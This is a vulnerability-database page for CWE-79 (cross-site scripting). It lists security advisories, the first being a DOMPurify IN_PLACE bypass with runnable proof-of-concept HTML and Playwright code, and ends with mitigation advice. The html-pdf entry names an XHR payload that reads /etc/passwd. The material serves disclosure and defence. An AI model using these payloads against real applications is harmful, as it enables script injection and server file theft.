CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66868 vulnerabilities reference this CWE, most recent first.
GHSA-X4VX-RJVF-J5P4
Vulnerability from github – Published: 2026-06-15 20:00 – Updated: 2026-06-15 20:00Summary
When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.
Affected
- DOMPurify
3.4.6 - Any caller that does
DOMPurify.sanitize(node, { IN_PLACE: true })on attacker-supplied live DOM nodes - Verified attacker-controlled node sources:
- same-origin
iframe→ live node passed by reference - same-origin
window.open()popup → live node passed by reference - same-origin foreign node adopted into the host document via
document.adoptNode(node)and then sanitized in-place
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths
[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:
const _sanitizeElements = function (currentNode: any): boolean {
...
if (_isClobbered(currentNode)) {
_forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID_TAGS[tagName] ||
(!(...) && !ALLOWED_TAGS[tagName])
) {
...
_forceRemove(currentNode);
return true;
}
...
};
For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.
[B] — _isClobbered is form-specific:
const _isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};
The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.
If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.
For the verified primitive below:
- the real child node is
<script> - its script text is attacker-controlled
- the observable
nodeNameis attacker-controlled and made to appear as"DIV" _sanitizeElementstherefore classifies the real<script>child as an allowed element- the real
<script>survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing
document.adoptNode(node)followed byIN_PLACE
It does not survive:
importNodecloneNode
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window.__pwned = 1</script></div>
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>
(2) End-to-end — Playwright
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top.__hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window.__hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();
Observed:
- Chromium / Firefox / WebKit
{
version: '3.4.6',
output: '<div><script>top.__hits.push("script-fired")</script></div>',
fired: true
}
Impact
Direct
XSS via retained real <script> nodes inside attacker-supplied live DOM objects.
Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);
If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on
IN_PLACEas the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
- Stop trusting instance-visible
nodeNamefor the element decision inIN_PLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
const tagName = transformCaseFunc(currentNode.nodeName);
on hostile live objects.
- Generalize hostile-node detection beyond
form.
The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
nodeNameattributeschildNodes
Either approach would close the verified primitive above.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:00:02Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003cscript\u003e` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n - same-origin `iframe` \u2192 live node passed by reference\n - same-origin `window.open()` popup \u2192 live node passed by reference\n - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] \u2014 `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n ...\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n\n const tagName = transformCaseFunc(currentNode.nodeName);\n ...\n if (\n FORBID_TAGS[tagName] ||\n (!(...) \u0026\u0026 !ALLOWED_TAGS[tagName])\n ) {\n ...\n _forceRemove(currentNode);\n return true;\n }\n ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] \u2014 `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n const realTagName = getNodeName ? getNodeName(element) : null;\n if (typeof realTagName !== \u0027string\u0027) {\n return false;\n }\n\n if (transformCaseFunc(realTagName) !== \u0027form\u0027) {\n return false;\n }\n\n return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`\u0027s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003cscript\u003e`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003cscript\u003e` child as an allowed element\n- the real `\u003cscript\u003e` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal \u2014 runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n\n const host = foreign.document.createElement(\u0027div\u0027);\n const script = foreign.document.createElement(\u0027script\u0027);\n script.textContent = \u0027window.__pwned = 1\u0027;\n Object.defineProperty(script, \u0027nodeName\u0027, {\n value: \u0027DIV\u0027,\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n\n console.log(\u0027output:\u0027, host.outerHTML);\n // \u003cdiv\u003e\u003cscript\u003ewindow.__pwned = 1\u003c/script\u003e\u003c/div\u003e\n\n window.__pwned = 0;\n document.body.appendChild(host);\n console.log(\u0027handler fired:\u0027, window.__pwned === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end \u2014 Playwright\n\n```js\nconst { chromium } = require(\u0027playwright\u0027);\nconst path = require(\u0027path\u0027);\n\n(async () =\u003e {\n const browser = await chromium.launch();\n const page = await browser.newPage();\n await page.goto(\u0027about:blank\u0027);\n await page.addScriptTag({ path: path.resolve(\u0027dist/purify.js\u0027) });\n\n const result = await page.evaluate(async () =\u003e {\n window.__hits = [];\n\n const foreign = window.open(\u0027about:blank\u0027, \u0027_blank\u0027, \u0027noopener=no\u0027);\n const host = foreign.document.createElement(\u0027div\u0027);\n const script = foreign.document.createElement(\u0027script\u0027);\n script.textContent = \u0027top.__hits.push(\"script-fired\")\u0027;\n Object.defineProperty(script, \u0027nodeName\u0027, {\n value: \u0027DIV\u0027,\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n document.body.appendChild(host);\n\n return {\n version: DOMPurify.version,\n output: host.outerHTML,\n fired: window.__hits.includes(\u0027script-fired\u0027),\n };\n });\n\n console.log(result);\n await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n version: \u00273.4.6\u0027,\n output: \u0027\u003cdiv\u003e\u003cscript\u003etop.__hits.push(\"script-fired\")\u003c/script\u003e\u003c/div\u003e\u0027,\n fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003cscript\u003e` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003cscript\u003e` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.",
"id": "GHSA-x4vx-rjvf-j5p4",
"modified": "2026-06-15T20:00:02Z",
"published": "2026-06-15T20:00:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects"
}
GHSA-X4W3-2RRV-5RCQ
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2025-04-12 12:36Cross-site scripting (XSS) vulnerability in compfight-search.php in the Compfight plugin 1.4 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the search-value parameter.
{
"affected": [],
"aliases": [
"CVE-2014-5202"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-12T23:55:00Z",
"severity": "LOW"
},
"details": "Cross-site scripting (XSS) vulnerability in compfight-search.php in the Compfight plugin 1.4 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the search-value parameter.",
"id": "GHSA-x4w3-2rrv-5rcq",
"modified": "2025-04-12T12:36:32Z",
"published": "2022-05-17T04:38:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5202"
},
{
"type": "WEB",
"url": "http://downloads.wordpress.org/plugin/compfight.1.5.zip"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/127430/WordPress-Compfight-1.4-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://wordpress.org/plugins/compfight/changelog"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X4W5-R546-X9QH
Vulnerability from github – Published: 2019-10-11 18:40 – Updated: 2022-01-04 19:51All versions of html-pdf are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as request.open("GET","file:///etc/passwd") will result in a PDF document with the contents of /etc/passwd.
Recommendation
No fix is currently available. There is a mitigation available in the provided reference.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "html-pdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-15138"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-668",
"CWE-73",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2019-09-25T12:39:43Z",
"nvd_published_at": "2019-09-20T20:15:00Z",
"severity": "HIGH"
},
"details": "All versions of `html-pdf` are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as `request.open(\"GET\",\"file:///etc/passwd\")` will result in a PDF document with the contents of `/etc/passwd`.\n\n\n## Recommendation\n\nNo fix is currently available. There is a mitigation available in the provided reference.",
"id": "GHSA-x4w5-r546-x9qh",
"modified": "2022-01-04T19:51:51Z",
"published": "2019-10-11T18:40:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15138"
},
{
"type": "WEB",
"url": "https://github.com/marcbachmann/node-html-pdf/issues/530"
},
{
"type": "WEB",
"url": "https://github.com/marcbachmann/node-html-pdf/issues/530#issuecomment-535045123"
},
{
"type": "WEB",
"url": "https://github.com/marcbachmann/node-html-pdf/commit/c12d6977778014139183c9f8da7579fd7ac65362"
},
{
"type": "WEB",
"url": "https://github.com/marcbachmann/node-html-pdf"
},
{
"type": "WEB",
"url": "https://github.com/marcbachmann/node-html-pdf/releases/tag/v3.0.1"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20191017-0005"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1095"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Read in html-pdf"
}
GHSA-X4W6-26RW-R6H9
Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 18:31A Reflected Cross Site Scripting (XSS) vulnerability was found in /index.php in FoxCMS v1.2.6. When a crafted script is sent via a GET request, it is reflected unsanitized into the HTML response. This permits execution of arbitrary JavaScript code when a logged-in user submits the malicious input.
{
"affected": [],
"aliases": [
"CVE-2025-55420"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-21T16:15:34Z",
"severity": "HIGH"
},
"details": "A Reflected Cross Site Scripting (XSS) vulnerability was found in /index.php in FoxCMS v1.2.6. When a crafted script is sent via a GET request, it is reflected unsanitized into the HTML response. This permits execution of arbitrary JavaScript code when a logged-in user submits the malicious input.",
"id": "GHSA-x4w6-26rw-r6h9",
"modified": "2025-08-21T18:31:27Z",
"published": "2025-08-21T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55420"
},
{
"type": "WEB",
"url": "https://www.notion.so/FoxCMS-V1-2-6-Reflected-XSS-in-index-php-2222b2fd021080589d27ef8e1b9ebd86?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X4W9-563F-6H62
Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 21:31A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_alerts.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.
{
"affected": [],
"aliases": [
"CVE-2025-61311"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T16:17:28Z",
"severity": "HIGH"
},
"details": "A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_alerts.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user\u0027s browser via injecting a crafted payload into an unfiltered variable value.",
"id": "GHSA-x4w9-563f-6h62",
"modified": "2026-05-11T21:31:31Z",
"published": "2026-05-11T18:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61311"
},
{
"type": "WEB",
"url": "https://ZeroBreach.de"
},
{
"type": "WEB",
"url": "https://gist.github.com/ZeroBreach-GmbH/424005738e819e14c724feb9c7c5f40b"
},
{
"type": "WEB",
"url": "https://www.docuform.de"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4W9-H3JG-QRHW
Vulnerability from github – Published: 2024-12-14 06:30 – Updated: 2026-04-08 18:33The Post Carousel & Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'post-cs' shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-11770"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-14T05:15:07Z",
"severity": "MODERATE"
},
"details": "The Post Carousel \u0026 Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027post-cs\u0027 shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-x4w9-h3jg-qrhw",
"modified": "2026-04-08T18:33:45Z",
"published": "2024-12-14T06:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11770"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/post-types-carousel-slider/trunk/includes/ajax.php#L71"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3209246%40post-types-carousel-slider\u0026new=3209246%40post-types-carousel-slider\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/post-types-carousel-slider"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cc038af-c4c8-4141-bbe3-81bcf0a2bace?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4WG-FRGQ-2R3Q
Vulnerability from github – Published: 2026-07-17 21:31 – Updated: 2026-07-17 21:31IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary scripts due to improper neutralization of input during web page generation.
{
"affected": [],
"aliases": [
"CVE-2026-15091"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T20:17:15Z",
"severity": "CRITICAL"
},
"details": "IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary scripts due to improper neutralization of input during web page generation.",
"id": "GHSA-x4wg-frgq-2r3q",
"modified": "2026-07-17T21:31:43Z",
"published": "2026-07-17T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15091"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7279964"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4WG-QWMF-2P36
Vulnerability from github – Published: 2023-03-28 09:30 – Updated: 2023-04-03 18:32Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in WP Darko Responsive Pricing Table plugin <= 5.1.6 versions.
{
"affected": [],
"aliases": [
"CVE-2022-46855"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-28T08:15:00Z",
"severity": "MODERATE"
},
"details": "Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in WP Darko Responsive Pricing Table plugin \u003c= 5.1.6 versions.",
"id": "GHSA-x4wg-qwmf-2p36",
"modified": "2023-04-03T18:32:06Z",
"published": "2023-03-28T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46855"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/dk-pricr-responsive-pricing-table/wordpress-responsive-pricing-table-plugin-5-1-6-auth-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4WQ-F6WG-7MVP
Vulnerability from github – Published: 2024-05-15 03:30 – Updated: 2024-05-15 03:30The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Team Member widget in all versions up to, and including, 2.6.9.6 due to insufficient input sanitization and output escaping on user supplied 'url' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-4618"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T02:15:10Z",
"severity": "MODERATE"
},
"details": "The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Team Member widget in all versions up to, and including, 2.6.9.6 due to insufficient input sanitization and output escaping on user supplied \u0027url\u0027 attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-x4wq-f6wg-7mvp",
"modified": "2024-05-15T03:30:45Z",
"published": "2024-05-15T03:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4618"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/exclusive-addons-for-elementor/tags/2.6.9.6/elements/team-member/team-member.php#L1696"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3083582/#file4"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/exclusive-addons-for-elementor/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2e82478c-e476-4cdf-ab72-f578331058e2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4WR-FPXP-H8C3
Vulnerability from github – Published: 2023-11-14 21:30 – Updated: 2026-04-08 18:32The Interact: Embed A Quiz On Your Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'interact-quiz' shortcode in all versions up to, and including, 3.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2023-5659"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T12:15:13Z",
"severity": "MODERATE"
},
"details": "The Interact: Embed A Quiz On Your Site plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027interact-quiz\u0027 shortcode in all versions up to, and including, 3.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-x4wr-fpxp-h8c3",
"modified": "2026-04-08T18:32:24Z",
"published": "2023-11-14T21:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5659"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/interact-quiz-embed/tags/3.0.7/interact-quiz-embed.php#L53"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2990262/interact-quiz-embed"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/69ba1a39-ddb0-4661-8104-d8bb71710e0c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
